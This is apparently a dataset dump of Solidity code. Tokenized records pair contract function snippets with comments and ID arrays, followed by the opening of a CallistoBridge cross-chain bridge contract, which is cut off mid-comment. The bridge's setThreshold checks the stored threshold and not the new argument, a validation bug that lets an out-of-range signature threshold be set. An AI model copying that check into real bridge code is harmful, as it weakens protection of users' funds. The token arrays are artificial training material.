uint96 _auctionedSellAmount, uint96 _minBuyAmount, uint256 _minBidPerOrder, uint256 _minFundingThreshold ) external onlyGovernance { require(IERC20(TornTokenAddress).balanceOf(address(this)) >= _auctionedSellAmount, "torn balance not enough"); IERC20(TornTokenAddress).approve(EasyAuctionAddress, _auctionedSellAmount); IEasyAuction(EasyAuctionAddress).initiateAuction( IERC20(TornTokenAddress), IERC20(WETHAddress), 0, _auctionEndDate, _auctionedSellAmount, _minBuyAmount, _minBidPerOrder, _minFundingThreshold, false, address(0x0000000000000000000000000000000000000000), new bytes(0) ); } /// @notice function to transfer all eth and TORN dust to governance function convertAndTransferToGovernance() external { IWETH(WETHAddress).withdraw(IWETH(WETHAddress).balanceOf(address(this))); if (address(this).balance > 0) require(GovernanceAddress.sendEther(address(this).balance), "pay fail"); if (IERC20(TornTokenAddress).balanceOf(address(this)) > 0) IERC20(TornTokenAddress).transfer(GovernanceAddress, IERC20(TornTokenAddress).balanceOf(address(this))); } /// @notice receive eth that should only allow mainnet WETH to send eth receive() external payable { require(msg.sender == WETHAddress, "only weth"); } }
@notice receive eth that should only allow mainnet WETH to send eth
receive() external payable { require(msg.sender == WETHAddress, "only weth"); }
5,473,778
[ 1, 18149, 13750, 716, 1410, 1338, 1699, 2774, 2758, 678, 1584, 44, 358, 1366, 13750, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 6798, 1435, 3903, 8843, 429, 288, 203, 565, 2583, 12, 3576, 18, 15330, 422, 678, 1584, 44, 1887, 16, 315, 3700, 341, 546, 8863, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xE40782171Fd4f583c98E41bD889b702bA9574BBB/sources/contracts/Ownable.sol
* @dev Allows the current owner to transfer control of the contract to a newOwner. @param newOwner The address to transfer ownership to./
function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); }
3,109,619
[ 1, 19132, 326, 783, 3410, 358, 7412, 3325, 434, 326, 6835, 358, 279, 394, 5541, 18, 225, 394, 5541, 1021, 1758, 358, 7412, 23178, 358, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 7412, 5460, 12565, 12, 2867, 394, 5541, 13, 1071, 1338, 5541, 203, 225, 288, 203, 565, 389, 13866, 5460, 12565, 12, 2704, 5541, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43114/0x02941a0Ffa0Bb0E41D9d96314488d2E7652EDEa6/sources/Masterchef.sol
Pancake has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all.
function updateEmissionRate(uint256 _EXPPerSec) public onlyOwner { massUpdatePools(); EXPPerSec = _EXPPerSec; emit UpdateEmissionRate(msg.sender, _EXPPerSec); }
4,596,617
[ 1, 4069, 23780, 711, 358, 527, 5949, 9609, 16000, 316, 1019, 358, 10182, 326, 801, 19710, 16, 2674, 732, 1221, 518, 4143, 471, 17270, 358, 777, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 1514, 19710, 4727, 12, 11890, 5034, 389, 16109, 2173, 2194, 13, 1071, 1338, 5541, 288, 203, 3639, 8039, 1891, 16639, 5621, 203, 3639, 22615, 2173, 2194, 273, 389, 16109, 2173, 2194, 31, 203, 3639, 3626, 2315, 1514, 19710, 4727, 12, 3576, 18, 15330, 16, 389, 16109, 2173, 2194, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0x76Db3E520630A642f4a825255982c6F39252C2D6/sources/presale/FairLaunchPool.sol
define the launch token to be redeemed
function setLaunchToken(address _launchToken) public onlyOwner { launchToken = _launchToken; }
7,198,035
[ 1, 11255, 326, 8037, 1147, 358, 506, 283, 24903, 329, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 9569, 1345, 12, 2867, 389, 20738, 1345, 13, 1071, 1338, 5541, 288, 203, 3639, 8037, 1345, 273, 389, 20738, 1345, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-12-15 */ // SPDX-License-Identifier: No License (None) pragma solidity ^0.8.0; interface IBEP20TokenCloned { // initialize cloned token just for BEP20TokenCloned function initialize(address newOwner, string calldata name, string calldata symbol, uint8 decimals) external; function mint(address user, uint256 amount) external; function burnFrom(address account, uint256 amount) external returns(bool); function burn(uint256 amount) external returns(bool); function balanceOf(address account) external view returns (uint256); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { struct AddressSet { // Storage of set values address[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (address => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { if (!contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. address lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns 1-based index of value in the set. O(1). */ function indexOf(AddressSet storage set, address value) internal view returns (uint256) { return set._indexes[value]; } /** * @dev Returns the number of values on the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ /* will use initialize instead constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } */ /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } } contract CallistoBridge is Ownable { using TransferHelper for address; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet authorities; // authority has to sign claim transaction (message) address constant MAX_NATIVE_COINS = address(31); // addresses from address(1) to MAX_NATIVE_COINS are considered as native coins // CLO = address(1) struct Token { address token; // foreign token address bool isWrapped; // is native token wrapped of foreign } struct Upgrade { address newContract; uint64 validFrom; } uint256 public threshold; // minimum number of signatures required to approve swap address public tokenImplementation; // implementation of wrapped token address public feeTo; // send fee to this address bool public frozen; // if frozen - swap will not work uint256 public wrapNonce; // the last nonce used to create wrapped token address begin with 0xCC.... mapping(uint256 => mapping(bytes32 => bool)) public isTxProcessed; // chainID => txID => isProcessed mapping(uint256 => mapping(address => Token)) public tokenPair; // chainID => native token address => Token struct mapping(uint256 => mapping(address => address)) public tokenForeign; // chainID => foreign token address => native token mapping(address => uint256) public tokenDeposits; // amount of tokens were deposited by users mapping(address => bool) public isFreezer; // addresses that have right to freeze contract uint256 public setupMode; // time when setup mode will start, 0 if disable Upgrade public upgradeData; address public founders; address public requiredAuthority; // authority address that MUST sign swap transaction event SetAuthority(address authority, bool isEnable); event SetFeeTo(address previousFeeTo, address newFeeTo); event SetThreshold(uint256 threshold); event Deposit(address indexed token, address indexed sender, uint256 value, uint256 toChainId, address toToken); event Claim(address indexed token, address indexed to, uint256 value, bytes32 txId, uint256 fromChainId, address fromToken); event Fee(address indexed sender, uint256 fee); event CreatePair(address toToken, bool isWrapped, address fromToken, uint256 fromChainId); event Frozen(bool status); event RescuedERC20(address token, address to, uint256 value); event SetFreezer(address freezer, bool isActive); event SetupMode(uint time); event UpgradeRequest(address newContract, uint256 validFrom); event BridgeToContract(address indexed token, address indexed sender, uint256 value, uint256 toChainId, address toToken, address toContract, bytes data); event ClaimToContract(address indexed token, address indexed to, uint256 value, bytes32 txId, uint256 fromChainId, address fromToken, address toContract); // run only once from proxy function initialize(address newOwner, address newFounders, address _tokenImplementation) external { require(newOwner != address(0) && newFounders != address(0) && founders == address(0)); // run only once _owner = newOwner; founders = newFounders; emit OwnershipTransferred(address(0), msg.sender); require(_tokenImplementation != address(0), "Wrong tokenImplementation"); tokenImplementation = _tokenImplementation; feeTo = msg.sender; threshold = 1; setupMode = 1; // allow setup after deployment } /* constructor (address _tokenImplementation) { require(_tokenImplementation != address(0), "Wrong tokenImplementation"); tokenImplementation = _tokenImplementation; feeTo = msg.sender; threshold = 1; } */ modifier notFrozen() { require(!frozen, "Bridge is frozen"); _; } // allowed only in setup mode modifier onlySetup() { uint256 mode = setupMode; //use local variable to save gas require(mode != 0 && mode < block.timestamp, "Not in setup mode"); _; } function upgradeTo() external view returns(address newContract) { Upgrade memory upg = upgradeData; require(upg.validFrom < block.timestamp && upg.newContract != address(0), "Upgrade not allowed"); newContract = upg.newContract; } function requestUpgrade(address newContract) external onlyOwner { require(newContract != address(0), "Zero address"); uint256 validFrom = block.timestamp + 3 days; upgradeData = Upgrade(newContract, uint64(validFrom)); emit UpgradeRequest(newContract, validFrom); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public { require(founders == msg.sender, "Ownable: caller is not the founders"); require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function ChangeFounder(address newFounders) public { require(founders == msg.sender, "caller is not the founders"); require(newFounders != address(0), "new owner is the zero address"); emit OwnershipTransferred(founders, newFounders); founders = newFounders; } // get number of authorities function getAuthoritiesNumber() external view returns(uint256) { return authorities.length(); } // returns list of authorities addresses function getAuthorities() external view returns(address[] memory) { return authorities._values; } // Owner or Authority may freeze bridge in case of anomaly detection function freeze() external { require(msg.sender == owner() || authorities.contains(msg.sender) || isFreezer[msg.sender]); frozen = true; emit Frozen(true); } // Only owner can manually unfreeze contract function unfreeze() external onlyOwner onlySetup { frozen = false; emit Frozen(false); } // add authority function setFreezer(address freezer, bool isActive) external onlyOwner { require(freezer != address(0), "Zero address"); isFreezer[freezer] = isActive; emit SetFreezer(freezer, isActive); } // add authority function addAuthority(address authority) external onlyOwner onlySetup { require(authority != address(0), "Zero address"); require(authorities.length() < 255, "Too many authorities"); require(authorities.add(authority), "Authority already added"); emit SetAuthority(authority, true); } // remove authority function removeAuthority(address authority) external onlyOwner { require(authorities.remove(authority), "Authority does not exist"); emit SetAuthority(authority, false); } // set authority address that MUST sign claim request function setRequiredAuthority(address authority) external onlyOwner onlySetup { requiredAuthority = authority; } // set fee receiver address function setFeeTo(address newFeeTo) external onlyOwner onlySetup { require(newFeeTo != address(0), "Zero address"); address previousFeeTo = feeTo; feeTo = newFeeTo; emit SetFeeTo(previousFeeTo, newFeeTo); } // set threshold - minimum number of signatures required to approve swap function setThreshold(uint256 _threshold) external onlyOwner onlySetup { require(threshold != 0 && threshold <= authorities.length(), "Wrong threshold"); threshold = _threshold; emit SetThreshold(threshold); } function disableSetupMode() external onlyOwner { setupMode = 0; emit SetupMode(0); } function enableSetupMode() external onlyOwner { setupMode = block.timestamp + 1 days; emit SetupMode(setupMode); } // returns `nonce` to use in `createWrappedToken()` to create address starting with 0xCC..... function calculateNonce() external view returns(uint256 nonce, address addr) { nonce = wrapNonce; address implementation = tokenImplementation; while (true) { nonce++; addr = Clones.predictDeterministicAddress(implementation, bytes32(nonce)); if (uint160(addr) & uint160(0xfF00000000000000000000000000000000000000) == uint160(0xCc00000000000000000000000000000000000000)) break; } } function rescueERC20(address token, address to) external onlyOwner { uint256 value = IBEP20TokenCloned(token).balanceOf(address(this)) - tokenDeposits[token]; token.safeTransfer(to, value); emit RescuedERC20(token, to, value); } // Create wrapped token for foreign token function createWrappedToken( address fromToken, // foreign token address uint256 fromChainId, // foreign chain ID where token deployed string memory name, // wrapped token name string memory symbol, // wrapped token symbol uint8 decimals, // wrapped token decimals (should be the same as in original token) uint256 nonce // nonce to create wrapped token address begin with 0xCC.... ) external onlyOwner onlySetup { require(fromToken != address(0), "Wrong token address"); require(tokenForeign[fromChainId][fromToken] == address(0), "This token already wrapped"); require(nonce > wrapNonce, "Nonce must be higher then wrapNonce"); wrapNonce = nonce; address wrappedToken = Clones.cloneDeterministic(tokenImplementation, bytes32(nonce)); IBEP20TokenCloned(wrappedToken).initialize(owner(), name, symbol, decimals); tokenPair[fromChainId][wrappedToken] = Token(fromToken, true); tokenForeign[fromChainId][fromToken] = wrappedToken; emit CreatePair(wrappedToken, true, fromToken, fromChainId); //wrappedToken - wrapped token contract address } /** * @dev Create pair between existing tokens on native and foreign chains * @param toToken token address on native chain * @param fromToken token address on foreign chain * @param fromChainId foreign chain ID * @param isWrapped `true` if `toToken` is our wrapped token otherwise `false` */ function createPair(address toToken, address fromToken, uint256 fromChainId, bool isWrapped) external onlyOwner onlySetup { require(tokenPair[fromChainId][toToken].token == address(0), "Pair already exist"); tokenPair[fromChainId][toToken] = Token(fromToken, isWrapped); tokenForeign[fromChainId][fromToken] = toToken; emit CreatePair(toToken, isWrapped, fromToken, fromChainId); } /** * @dev Delete unused pair * @param toToken token address on native chain * @param 